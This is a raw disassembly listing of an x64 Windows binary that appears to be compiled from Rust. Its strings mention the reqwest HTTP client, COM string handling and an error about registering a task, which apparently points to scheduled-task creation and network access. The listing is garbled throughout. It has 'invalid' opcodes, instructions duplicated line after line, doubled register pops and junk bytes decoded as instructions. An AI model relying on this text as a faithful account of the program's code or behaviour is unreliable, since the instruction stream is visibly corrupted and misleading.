mov rcx, rbx
call qword [rax + 0x10]
shr rsi, 0x20
mov dword [rbp + 0x3f4], esi
mov rax, qword [rbp + 0xaa8]
mov qword [rbp + 0x3f8], rax
mov rax, qword [rbp + 0xab8]
mov qword [rbp + 0x400], rax
mov rax, qword [rbp + 0xad0]
mov qword [rbp + 0x408], rax
mov qword [rbp + 0x3e0], r14
mov rax, qword [rbp + 0xad8]
mov qword [rbp + 0x3e8], rax
mov dword [rbp + 0x3f0], r13d
lea rcx, [rbp + 0xa00]
lea rdx, [rbp + 0x3e0]
call fcn.140101700
cmp qword [rbp + 0xa00], 0
je 0x14001056b
mov rax, qword [rbp + 0xa08]
mov ecx, dword [rbp + 0xa10]
mov qword [rbp + 0x6c0], rax
mov dword [rbp + 0x6c8], ecx
mov qword [rbp + 0x970], r12
lea rax, [0x140101480]
mov qword [rbp + 0x978], rax
lea rax, str.Error_registering_task:_H3
mov qword [rbp + 0x6f0], rax
mov qword [rbp + 0x6f8], 2
mov qword [rbp + 0x710], 0
mov qword [rbp + 0x700], rdi
mov qword [rbp + 0x708], 1
lea rcx, [rbp + 0x6f0]
call fcn.1400de860
mov r12, qword [rbp + 0x6c0]
jmp 0x1400104e5
lea rcx, str.Pending_error_polled_more_than_once
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_implclient.rs
mov edx, 0x23
call fcn.1401086b0
mov qword [rbp + 0xa00], rbx
lea rax, [rbp + 0x2c0]
mov qword [rbp + 0x6f0], rax
lea rax, [0x1400dac50]
mov qword [rbp + 0x6f8], rax
lea rcx, [rbp + 0x60]
mov qword [rbp + 0x700], rcx
mov qword [rbp + 0x708], rax
mov qword [rbp + 0x710], rdi
lea rax, [fcn.1400da400]
mov qword [rbp + 0x718], rax
lea rax, [0x140148ee8]
mov qword [rbp + 0x3e0], rax
mov qword [rbp + 0x3e8], 3
mov qword [rbp + 0x400], 0
mov qword [rbp + 0x3f0], rsi
mov qword [rbp + 0x3f8], 3
lea rdx, [0x140148f18]
lea rcx, [rbp + 0x3e0]
call fcn.140108280
jmp 0x140010648
mov ecx, eax
call fcn.140100860
mov r12, rax
jmp 0x14000ff8b
xor r12d, r12d
jmp 0x14000ff8b
mov ecx, eax
call fcn.140100860
mov r12, rax
test rbx, rbx
je 0x14000ff81
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x10]
jmp 0x14000ff81
lea r8, [0x140112d28]
mov rcx, r15
mov rdx, rbx
call fcn.1401082c0
xor r12d, r12d
xor edi, edi
jmp 0x140010172
xor r12d, r12d
mov rax, qword [r13]
mov rcx, r13
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x6f0]
mov sil, 1
test rcx, rcx
je 0x14000ffc5
mov qword [rbp + 0xa00], 0
lea rax, [rbp + 0x6f0]
mov qword [rbp + 0xa08], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0xa00]
call fcn.140100450
mov rcx, qword [rbp + 0x6f8]
test rcx, rcx
je 0x14000fffc
lea rax, [rbp + 0x6f8]
mov qword [rbp + 0xa00], 0
mov qword [rbp + 0xa08], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0xa00]
call fcn.140100450
test sil, sil
je 0x140010038
mov rcx, qword [rbp + 0x700]
test rcx, rcx
je 0x140010038
mov qword [rbp + 0xa00], 0
lea rax, [rbp + 0x700]
mov qword [rbp + 0xa08], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0xa00]
call fcn.140100450
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 0x10]
mov rcx, qword [rbp + 0xad8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0xac0]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0xaa8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0xab8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0xad0]
mov rax, qword [rcx]
call qword [rax + 0x10]
xor r15d, r15d
mov rcx, qword [rbp + 0x60]
test rcx, rcx
jne 0x14000f09f
jmp 0x14000f0c7
lea rcx, str.assertion_failed:_filled___self.buf.init
lea r8, [0x140112d70]
mov edx, 0x29
call fcn.140108350
xor r12d, r12d
xor edi, edi
jmp 0x140010170
add r9, r8
mov qword [rbp + 0x6f0], rax
mov qword [rbp + 0x6f8], rdx
mov qword [rbp + 0x700], rcx
mov qword [rbp + 0x708], r9
lea rax, str.src_main.rs
jmp 0x14001012f
add r9, r8
mov qword [rbp + 0x6f0], rax
mov qword [rbp + 0x6f8], rdx
mov qword [rbp + 0x700], rcx
mov qword [rbp + 0x708], r9
lea rax, str.src_main.rs
jmp 0x14001012f
add r9, r8
mov qword [rbp + 0x6f0], rax
mov qword [rbp + 0x6f8], rdx
mov qword [rbp + 0x700], rcx
mov qword [rbp + 0x708], r9
lea rax, str.src_main.rs
mov qword [rsp + 0x20], rax
lea rcx, str.CString::new_failed
lea r9, [0x140112de8]
lea r8, [rbp + 0x6f0]
mov edx, 0x13
call fcn.140108600
mov ecx, eax
call fcn.140100860
mov r12, rax
xor edi, edi
jmp 0x140010170
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 0x10]
mov dil, 1
xor r12d, r12d
xor esi, esi
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x10]
mov rax, qword [r13]
mov rcx, r13
call qword [rax + 0x10]
test dil, dil
je 0x14000ffc5
jmp 0x14000fffc
lea rcx, [rbp + 0x970]
call fcn.140002710
mov qword [rbp + 0x6f0], rsi
lea rax, str.src_main.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140112e08]
lea r8, [rbp + 0x6f0]
mov edx, 0x2b
call fcn.140108600
mov ecx, eax
call fcn.140100860
mov r12, rax
jmp 0x1400103b7
lea rcx, str.src_main.rs
call fcn.140108690
movzx eax, byte [rbp + 0x3e1]
mov byte [rbp + 0x2c0], al
lea rax, str.src_main.rs
jmp 0x140010222
lea rcx, str.src_main.rs
call fcn.140108690
movzx eax, byte [rbp + 0x3e1]
mov byte [rbp + 0x2c0], al
lea rax, str.src_main.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140112e28]
lea r8, [rbp + 0x2c0]
mov edx, 0x2b
call fcn.140108600
mov rax, qword [rbp + 0x6f8]
mov qword [rbp + 0x60], rax
lea rax, str.src_main.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140112da8]
lea r8, [rbp + 0x60]
mov edx, 0x2b
call fcn.140108600
lea rcx, str.src_main.rs
call fcn.140108690
movups xmm0, xmmword [rbp + 0x6f8]
movaps xmmword [rbp + 0x3e0], xmm0
lea rax, str.src_main.rs
jmp 0x1400102c8
movups xmm0, xmmword [rbp + 0x6f8]
movaps xmmword [rbp + 0x3e0], xmm0
lea rax, str.src_main.rs
jmp 0x1400102c8
movups xmm0, xmmword [rbp + 0x6f8]
movaps xmmword [rbp + 0x3e0], xmm0
lea rax, str.src_main.rs
mov qword [rsp + 0x20], rax
lea r9, [0x140112dc8]
lea r8, [rbp + 0x3e0]
mov ecx, 1
xor edx, edx
call fcn.140108600
lea rax, [0x14014bcf0]
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_std_src_threadlocal.rs
lea r9, [0x14013c3b8]
lea r8, [rbp + 0xae7]
mov edx, 0x46
call fcn.140108600
xor r12d, r12d
jmp 0x1400103b7
call fcn.140010b00
mov ecx, 1
mov rdx, r15
call fcn.140107fc0
mov ecx, eax
call fcn.140100860
mov r12, rax
test r15, r15
je 0x1400103ae
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 0x10]
jmp 0x1400103ae
xor esi, esi
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 0x10]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x10]
cmp dword [rbp + 0xaa0], 0
jns 0x14001039a
mov rcx, qword [rbp + 0x6f0]
test rcx, rcx
je 0x14001039a
mov qword [rbp + 0xa00], 0
lea rax, [rbp + 0x6f0]
mov qword [rbp + 0xa08], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0xa00]
call fcn.140100450
xor r12d, r12d
test sil, sil
je 0x140010428
jmp 0x14001045f
xor r12d, r12d
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x6f0]
test rcx, rcx
je 0x1400103ee
mov qword [rbp + 0xa00], 0
lea rax, [rbp + 0x6f0]
mov qword [rbp + 0xa08], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0xa00]
call fcn.140100450
mov rcx, qword [rbp + 0x6f8]
mov r13b, 1
test rcx, rcx
je 0x140010428
lea rax, [rbp + 0x6f8]
mov qword [rbp + 0xa00], 0
mov qword [rbp + 0xa08], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0xa00]
call fcn.140100450
mov rcx, qword [rbp + 0x700]
test rcx, rcx
je 0x14001045f
mov qword [rbp + 0xa00], 0
lea rax, [rbp + 0x700]
mov qword [rbp + 0xa08], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0xa00]
call fcn.140100450
test r13b, r13b
je 0x14001049b
mov rcx, qword [rbp + 0x708]
test rcx, rcx
je 0x14001049b
lea rax, [rbp + 0x708]
mov qword [rbp + 0xa00], 0
mov qword [rbp + 0xa08], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0xa00]
call fcn.140100450
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 0x10]
mov rcx, qword [rbp + 0xad8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0xac0]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0xaa8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0xab8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0xad0]
mov rax, qword [rcx]
call qword [rax + 0x10]
xor r15d, r15d
cmp qword [rbp + 0x690], 0
jne 0x14000f164
jmp 0x14000f17a
lea rcx, str.src_main.rs
call fcn.140108690
mov ecx, 1
mov rdx, rdi
call fcn.140107fc0
mov byte [rbp + 0xae6], 1
mov ecx, 1
mov rdx, rdi
call fcn.140107fc0
jmp 0x140010648
mov r13b, 1
jmp 0x140010348
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, rbx
mov rdx, r15
call fcn.1401082c0
jmp 0x140010648
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, r13
mov rdx, r15
call fcn.140108340
jmp 0x140010648
xor r13d, r13d
jmp 0x140010348
lea rax, [0x140113338]
mov qword [rbp + 0x6f0], rax
mov qword [rbp + 0x6f8], 1
mov qword [rbp + 0x700], 8
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x708], xmm0
lea rcx, [rbp + 0x6f0]
call fcn.1400de5e0
mov rcx, qword [rbp + 0xa08]
mov rax, qword [rcx]
call qword [rax + 0x10]
cmp qword [rbp + 0x690], 0
je 0x14000f1b8
mov r8, qword [rbp + 0x698]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14000f1b8
mov qword [rbp + 0x9d8], r14
mov qword [rbp + 0xad0], r15
mov qword [rbp + 0x960], r13
mov ecx, 8
mov edx, 0x30
call fcn.140107fe0
jmp 0x140010648
mov qword [rbp + 0x9d8], r14
mov qword [rbp + 0xad0], r15
mov ecx, 8
mov edx, 0x30
call fcn.140107fe0
jmp 0x140010648
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, rbx
mov rdx, r13
call fcn.140108530
jmp 0x140010648
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, r13
mov rdx, r15
call fcn.140108340
ud2
lea rax, [r15 + r8]
mov qword [rsp + 0x20], r14
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], rax
sub r9, r8
cmp r9, rdx
jb 0x140012b3a
add rcx, r15
mov qword [rsi], rcx
sub rax, r15
mov qword [rsi + 8], rax
sub r14, r15
mov qword [rsi + 0x10], r14
jmp 0x140012b2c
test byte [rbx + 1], ah
add byte [rax], al
lea r12, [rdi + 0x20]
mov qword [rsp + 0x20], rbx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 0
mov rdx, qword [rsi]
mov r14, qword [rsi + 8]
mov esi, dword [rsi + 8]
mov esi, dword [rsi + 8]
cmp rbx, r14
jb 0x140012b5e
xor ebx, ebx
add rax, rbx
mov rcx, rax
mov r8, r14
call fcn.140106250
add rbx, r14
mov qword [rsp + 0x30], rbx
lock dec qword [r12]
jne 0x140012ac8
mov rax, qword [rdi + 0x20]
cmp qword [rdi], 0
je 0x140012ab6
mov r8, qword [rdi + 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [r15*4 + 1]
mov qword [rsi + 0x18], rax
mov rax, qword [rsp + 0x28]
mov qword [rsi], rax
mov rax, qword [rsp + 0x30]
mov qword [rsi + 8], rax
mov rax, qword [rsp + 0x20]
mov qword [rsi + 0x10], rax
jmp 0x140012b2c
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea rcx, [rsp + 0x20]
mov r8, rdx
mov rdx, rax
call fcn.14010c8d0
mov r14, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
mov rax, qword [rsp + 0x30]
jmp 0x1400129f6
lea rcx, [rsp + 0x20]
mov rbx, rdx
xor edx, edx
mov r8, r14
call fcn.14010c8d0
mov rdx, rbx
mov rax, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x30]
jmp 0x140012a7c
invalid
movzx eax, byte [rbp + r14]
mov byte [rsp + 0x2f], al
invalid
cmp rax, 0x22
ja 0x140012cf0
invalid
movsxd rcx, dword [r15 + rax*4]
add rcx, r15
jmp rcx
mov edi, 0x41001308
call rbp
test al, al
je 0x140012ea0
jmp 0x140012ec1
cmp eax, 0x5c
jne 0x140012d1b
mov dword [rsp + 0x30], eax
lea rax, [rsp + 0x30]
and al, 0x30
and al, 0x30
mov qword [rsp + 0x78], rax
lea rax, [fcn.140018160]
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x80], eax
mov dword [rsp + 0x80], eax
lea rax, [0x140143588]
jmp 0x140012d4b
lea ecx, [rax - 0x20]
cmp cl, 0x5f
jae 0x140012df2
or ebx, 0
add byte [rax], al
mov dword [rsp + 0x30], eax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x78], rax
lea rax, [fcn.140018160]
mov qword [rsp + 0x80], rax
add byte [rax], al
lea rax, [0x140172b18]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x78]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
add byte [rax], al
add byte [rax - 0x77], cl
int1
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rdx, rdi
lea r8, [rsp + 0x40]
call fcn.140013bb0
invalid
add byte [rax], al
test al, al
je 0x140012ea0
invalid
jmp 0x140012ec1
mov r8d, 2
mov rcx, rsi
lea rdx, [0x140143584]
call r13
test al, al
je 0x140012ea0
jmp 0x140012ec1
mov r8d, 2
mov rcx, rsi
lea rdx, [0x140143586]
call r13
test al, al
je 0x140012ea0
jmp 0x140012ec1
lea rax, [rsp + 0x2f]
mov qword [rsp + 0x30], rax
lea rax, [0x140019430]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 2
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 2
mov qword [rsp + 0x60], 0
movabs rax, 0x800000020
mov qword [rsp + 0x68], rax
mov byte [rsp + 0x70], 3
lea rax, [0x1401435a0]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
lea rax, [rsp + 0x40]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 1
lea rax, [rsp + 0x30]
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 1
add byte [rax], al
add byte [rax - 0x77], cl
int1
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rdx, rdi
lea r8, [rsp + 0x78]
and al, 0x78
and al, 0x78
call fcn.140013bb0
test al, al
jne 0x140012ec1
nop
inc r14
cmp r12, r14
jne 0x140012cb0
lea rdx, [0x14014bd1c]
mov r8d, 1
mov rcx, rsi
call r13
mov ebx, eax
mov eax, ebx
add rsp, 0xa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
adc eax, 0xff6cd
nop word cs:[rax + rax]
movzx r10d, word [rdi + r9]
movd xmm3, r10d
pcmpgtb xmm3, xmm1
punpcklbw xmm3, xmm3
pshuflw xmm3, xmm3, 0xd4
pshufd xmm3, xmm3, 0xd4
pand xmm3, xmm2
paddq xmm0, xmm3
add r9, 2
cmp r11, r9
jne 0x1400130d0
pshufd xmm1, xmm0, 0xee
paddq xmm1, xmm0
movq r9, xmm1
cmp r11, rbx
je 0x140013127
xor r10d, r10d
cmp byte [rdi + r11], 0xc0
setge r10b
add r9, r10
inc r11
cmp rbx, r11
jne 0x140013110
add rdx, r9
mov r13, qword [rbp + 0x70]
cmp qword [rcx], 0
je 0x140013171
mov r14, qword [rcx + 8]
sub r14, rdx
jbe 0x140013171
test al, 8
jne 0x1400131c7
mov qword [rbp - 8], r15
movzx r15d, byte [rcx + 0x38]
lea rax, [0x140175798]
movsxd rdx, dword [rax + r15*4]
add rdx, rax
ret 0x8944
invalid
invalid
mov qword [rbp - 0x18], r13
jmp rdx
mov r15, r14
xor r14d, r14d
jmp case.0x140013164.0
mov rsi, qword [rcx + 0x20]
mov r12, qword [rcx + 0x28]
mov qword [rsp + 0x20], rbx
mov rcx, rsi
mov rdx, r12
mov r9, rdi
call fcn.140013730
mov dil, 1
test al, al
je 0x1400131a6
mov eax, edi
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rax, qword [r12 + 0x18]
mov rcx, rsi
mov rdx, r13
mov r8, r15
add rsp, 0x48
pop rbx
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp rax
mov eax, dword [rcx + 0x30]
mov dword [rbp - 0xc], eax
mov dword [rcx + 0x30], 0x30
movzx eax, byte [rcx + 0x38]
mov byte [rbp + 7], al
mov byte [rcx + 0x38], 1
mov r12, qword [rcx + 0x20]
mov qword [rbp - 8], rcx
mov rsi, qword [rcx + 0x28]
mov qword [rsp + 0x20], rbx
mov rcx, r12
mov rdx, rsi
mov r9, rdi
call fcn.140013730
mov dil, 1
test al, al
jne 0x140013193
inc r14
nop dword [rax + rax]
dec r14
je 0x140013229
mov rcx, r12
mov edx, 0x30
call qword [rsi + 0x20]
test al, al
je 0x140013210
jmp 0x140013193
mov rcx, r12
mov rdx, r13
mov r8, r15
call qword [rsi + 0x18]
test al, al
jne 0x140013193
mov r13, qword [rbp - 8]
mov eax, dword [rbp - 0xc]
mov dword [r13 + 0x30], eax
movzx eax, byte [rbp + 7]
mov byte [r13 + 0x38], al
xor edi, edi
jmp 0x140013193
mov r12, qword [rcx + 0x20]
mov r13, qword [rcx + 0x28]
mov esi, dword [rcx + 0x30]
inc r15
nop word cs:[rax + rax]
dec r15
je 0x14001329a
mov rcx, r12
mov edx, esi
call qword [r13 + 0x20]
test al, al
je 0x140013280
mov dil, 1
jmp 0x140013193
mov qword [rsp + 0x20], rbx
mov rcx, r12
mov rdx, r13
mov r8d, dword [rbp - 0x10]
mov r9, rdi
call fcn.140013730
mov dil, 1
test al, al
jne 0x140013193
mov rcx, r12
mov rdx, qword [rbp - 0x18]
mov r8, qword [rbp - 8]
call qword [r13 + 0x18]
test al, al
jne 0x140013193
mov rbx, r14
neg rbx
mov rdi, 0xffffffffffffffff
lea rax, [rbx + rdi]
cmp rax, 0xffffffffffffffff
je 0x1400132fc
mov rcx, r12
mov edx, esi
call qword [r13 + 0x20]
inc rdi
test al, al
je 0x1400132e0
jmp 0x1400132ff
mov rdi, r14
cmp rdi, r14
setb dil
jmp 0x140013193
shr rdi, 7
shr rsi, 6
or rsi, rdi
and rsi, rax
add rdx, rsi
cmp ebx, 2
je 0x1400136ee
mov r10, qword [r10 + r11*8 + 0x10]
mov r11, r10
not r11
shr r11, 7
shr r10, 6
or r10, r11
and r10, rax
add rdx, r10
and r8, rdx
shr rdx, 8
movabs rax, 0x700ff00ff00ff
and rax, rdx
add rax, r8
imul rax, rcx
shr rax, 0x30
add rax, r9
movaps xmm6, xmmword [rbp - 0x10]
add rsp, 0x10
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
test esi, esi
je 0x140013a83
cmp rsi, 1
jne 0x140013a07
xor eax, eax
xor edx, edx
jmp 0x140013a6d
mov edx, esi
and edx, 0x1e
pxor xmm0, xmm0
pxor mm0, mm0
pxor mm0, mm0
xor eax, eax
movdqa xmm1, xmmword [0x140112780]
or eax, 0xfed66
or eax, 0xfed66
movdqa xmm2, xmmword [0x140112790]
nop word cs:[rax + rax]
movzx r8d, word [rdi + rax]
movd xmm3, r8d
pcmpgtb xmm3, xmm1
punpcklbw xmm3, xmm3
pshuflw xmm3, xmm3, 0xd4
pshufd xmm3, xmm3, 0xd4
pand xmm3, xmm2
paddq xmm0, xmm3
add rax, 2
cmp rdx, rax
jne 0x140013a30
pshufd xmm1, xmm0, 0xee
paddq xmm1, xmm0
movq rax, xmm1
jmp 0x140013a7e
xor r8d, r8d
cmp byte [rdi + rdx], 0xc0
setge r8b
add rax, r8
inc rdx
cmp rsi, rdx
jne 0x140013a6d
sub r15, rax
jbe 0x140013aa1
movzx eax, byte [rcx + 0x38]
lea rdx, [0x1401757a8]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
xor r13d, r13d
jmp 0x140013add
mov rax, qword [rcx + 0x20]
mov rcx, qword [rcx + 0x28]
mov r9, qword [rcx + 0x18]
mov rcx, rax
mov rdx, rdi
mov r8, rsi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp r9
mov r13, r15
xor r15d, r15d
jmp 0x140013add
mov r13, r15
shr r13, 1
inc r15
shr r15, 1
mov rbx, qword [rcx + 0x20]
mov r12, qword [rcx + 0x28]
mov r14d, dword [rcx + 0x30]
inc r13
nop dword [rax]
mov rcx, rbx
dec r13
je 0x140013b08
mov edx, r14d
call qword [r12 + 0x20]
test al, al
je 0x140013af0
mov al, 1
jmp 0x140013b57
mov rdx, rdi
mov r8, rsi
call qword [r12 + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x140013b57
mov rdi, r15
neg rdi
mov rsi, 0xffffffffffffffff
nop dword [rax + rax]
lea rax, [rdi + rsi]
cmp rax, 0xffffffffffffffff
je 0x140013b4e
mov rcx, rbx
mov edx, r14d
call qword [r12 + 0x20]
inc rsi
test al, al
je 0x140013b30
jmp 0x140013b51
mov rsi, r15
cmp rsi, r15
setb al
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
sub byte [rax - 0x73], r9b
adc eax, 0x13622c
mov r8d, 1
call qword [rax + 0x18]
jmp 0x140017239
test al, al
setne al
xchg ebp, eax
ror byte [rax - 0x7d], 0xc4
cmp byte [rbx + 0x5f], bl
xchg ebp, eax
ror byte [rax - 0x7d], 0xc4
cmp byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov al, 1
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add r12, r15
mov rsi, qword [rbp - 0x38]
nop word cs:[rax + rax]
sub r15, r14
add r15, rbx
cmp rbx, qword [rbp - 0x40]
je 0x140017567
mov r14, rbx
movzx r13d, byte [rbx]
test r13b, r13b
js 0x140017340
lea rbx, [r14 + 1]
jmp 0x1400173b0
mov eax, r13d
and eax, 0x1f
movzx edx, byte [r14 + 1]
and edx, 0x3f
cmp r13b, 0xdf
jbe 0x140017395
lea rbx, [r14 + 3]
movzx ecx, byte [r14 + 2]
add r8b, cl
loop 0x140017366
add r8b, cl
loop 0x140017366
and ecx, 0x3f
or ecx, edx
cmp r13b, 0xf0
cmp ch, 0xf0
jb 0x1400173a3
movzx r13d, byte [rbx]
and eax, 7
shl eax, 0x12
shl ecx, 6
and r13d, 0x3f
or r13d, ecx
or r13d, eax
cmp r13d, 0x110000
je 0x140017567
lea rbx, [r14 + 4]
jmp 0x1400173b0
lea rbx, [r14 + 2]
shl eax, 6
or eax, edx
mov r13d, eax
jmp 0x1400173b0
shl eax, 0xc
or ecx, eax
mov r13d, ecx
nop dword [rax + rax]
lea rcx, [rbp - 0x2c]
mov edx, r13d
mov r8d, 0x10001
call fcn.1400175f0
cmp byte [rbp - 0x2c], 0x80
je 0x140017310
movzx eax, byte [rbp - 0x21]
sub al, byte [rbp - 0x22]
cmp al, 1
je 0x140017310
mov r8, r15
sub r8, r12
jb 0x1400175c7
test r12, r12
je 0x140017407
cmp r12, rsi
jae 0x140017401
mov rax, qword [rbp - 0x10]
cmp byte [rax + r12], 0xc0
jge 0x140017407
jmp 0x1400175c7
jne 0x1400175c7
test r15, r15
je 0x140017427
cmp r15, rsi
jae 0x140017421
mov rax, qword [rbp - 0x10]
cmp byte [rax + r15], 0xbf
jg 0x140017427
jmp 0x1400175c7
jne 0x1400175c7
add r12, qword [rbp - 0x10]
mov rcx, rdi
mov rdx, r12
mov rax, qword [rbp - 0x18]
call qword [rax + 0x18]
test al, al
jne 0x1400172c7
mov eax, dword [rbp - 0x24]
mov dword [rbp], eax
mov rax, qword [rbp - 0x2c]
mov qword [rbp - 8], rax
cmp al, 0x80
jne 0x1400174ad
mov sil, 0x80
jmp 0x140017482
mov edx, dword [rbp - 4]
mov dword [rbp], 0
mov qword [rbp - 8], 0
xor esi, esi
mov rcx, rdi
call qword [rbp - 0x20]
test al, al
jne 0x1400172c7
cmp sil, 0x80
je 0x140017460
movzx r12d, byte [rbp + 2]
cmp r12b, byte [rbp + 3]
jae 0x1400174ef
lea eax, [r12 + 1]
mov byte [rbp + 2], al
cmp r12b, 0xa
jae 0x1400175b3
movzx edx, byte [rbp + r12 - 8]
jmp 0x140017474
movzx esi, byte [rbp + 3]
movzx r12d, byte [rbp + 2]
nop word cs:[rax + rax]
cmp r12, rsi
jae 0x1400174ef
lea eax, [r12 + 1]
mov byte [rbp + 2], al
cmp r12, 9
ja 0x1400175b3
movzx edx, byte [rbp + r12 - 8]
mov rcx, rdi
call qword [rbp - 0x20]
inc r12
test al, al
je 0x1400174c0
jmp 0x1400172c7
mov r12d, 1
cmp r13d, 0x80
std
add byte [rax], 0
add byte [rdi], cl
invalid
std
std
invalid
invalid
mov r12d, 2
cmp r13d, 0x800
jb 0x1400172ff
invalid
invalid
std
invalid
invalid
cmp r13d, 0x10000
mov r12d, 4
sbb r12, 0
jmp 0x1400172ff
sub rsi, rax
add rbx, rax
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
call qword [r14 + 0x18]
test al, al
jne 0x1400172c7
invalid
dec dword [rax - 0x77]
stc
mov rcx, rdi
mov edx, 0x22
mov rax, qword [rbp - 0x20]
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
pop rbp
jmp rax
test r12, r12
je 0x140017585
cmp r12, rsi
mov rbx, qword [rbp - 0x10]
mov r14, qword [rbp - 0x18]
jae 0x140017591
cmp byte [rbx + r12], 0xbf
jle 0x140017596
mov rax, r12
jmp 0x14001752d
xor eax, eax
mov rbx, qword [rbp - 0x10]
mov r14, qword [rbp - 0x18]
jmp 0x14001752d
mov rax, rsi
je 0x14001752d
lea rax, [0x1401142f0]
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, rsi
mov r8, r12
mov r9, rsi
call fcn.1401087e0
lea r8, str.librarycore_srcescape.rs
mov edx, 0xa
mov rcx, r12
call fcn.1401082d0
lea rax, [0x140114308]
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp - 0x10]
mov rdx, rsi
mov r8, r12
mov r9, r15
call fcn.1401087e0
int3
lea r9, [0x1401757b8]
movsxd rax, dword [r9 + rax*4]
add rax, r9
jmp rax
mov word [rcx], 0x305c
jmp 0x14001781a
add byte [rax], al
add byte [rbx + 0xa755cfa], al
mov word [rcx], 0x5c5c
jmp 0x14001781a
cmp edx, 0x300
jb 0x140017758
and r8d, 1
je 0x140017758
mov rsi, rcx
mov ecx, edx
mov edi, edx
call fcn.140017ef0
mov edx, edi
mov rcx, rsi
test al, al
je 0x140017758
add byte [rax], al
invalid
add byte [rax], al
add dh, al
clc
add byte [rsi - 0x39], ah
test byte [r8], 0
mov byte [rbp - 8], 0
mov word [rbp - 0xa], 0
mov byte [rbp - 1], 0x7d
mov r8d, edx
rol byte [rcx - 0x3f], 1
call 0x12084b787
cmovs ecx, dword [rbp + 0xfc6e505]
